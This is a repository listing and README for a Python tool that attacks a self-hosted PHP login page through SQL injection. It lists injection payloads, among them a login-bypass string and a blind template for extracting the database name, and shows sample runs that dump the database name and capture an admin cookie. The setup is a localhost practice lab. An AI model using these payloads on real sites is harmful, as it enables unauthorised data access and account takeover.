https://github.com/galihap76/web-app-sql-injection
This is my repo to hack my web app about vulnerability sql injection with python.
https://github.com/galihap76/web-app-sql-injection
exploitation hacking mysql php python3 sql-injection sql-injection-attacks sql-injection-exploitation vulnerability vulnerability-detection
Last synced: about 1 year ago
JSON representation
This is my repo to hack my web app about vulnerability sql injection with python.
- Host: GitHub
- URL: https://github.com/galihap76/web-app-sql-injection
- Owner: galihap76
- Created: 2022-04-01T20:04:35.000Z (almost 4 years ago)
- Default Branch: main
- Last Pushed: 2022-04-01T20:56:56.000Z (almost 4 years ago)
- Last Synced: 2025-01-31T15:47:55.068Z (about 1 year ago)
- Topics: exploitation, hacking, mysql, php, python3, sql-injection, sql-injection-attacks, sql-injection-exploitation, vulnerability, vulnerability-detection
- Language: Python
- Homepage:
- Size: 7.81 KB
- Stars: 9
- Watchers: 1
- Forks: 6
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# What is SQL injection (SQLi)?
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.
In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. Learn more.
**Payloads**
```
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
' OR 1 = 1 --
' OR BINARY substring(database(), %d, 1) = '%s' --
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
```
**Example**
- Scan Vulnerability Sql Injection
```
python3 main.py -s http://localhost/hacking/login.php
[!] Trying http://localhost/hacking/login.php"
[!] Trying http://localhost/hacking/login.php'
[+] Detected 1 forms on http://localhost/hacking/login.php.
```
- Hack Database With Sql Injection
```
python3 main.py -d http://localhost/hacking/login.php
hacking
```
- Bypass Login Website With Sql Injection
```
python3 main.py -f http://localhost/hacking/login.php
--------------------------------------------------
[+] Login success!
[+] Admin cookie: mkffq2vgo24is4jr782cuc6g2n
Dashboard
Hallo admin!
Data 1 : This is coffee
Data 2 : This is tea
Data 3 : This is orange
Logout
```
# Libraries
- Beautiful Soup
- Requests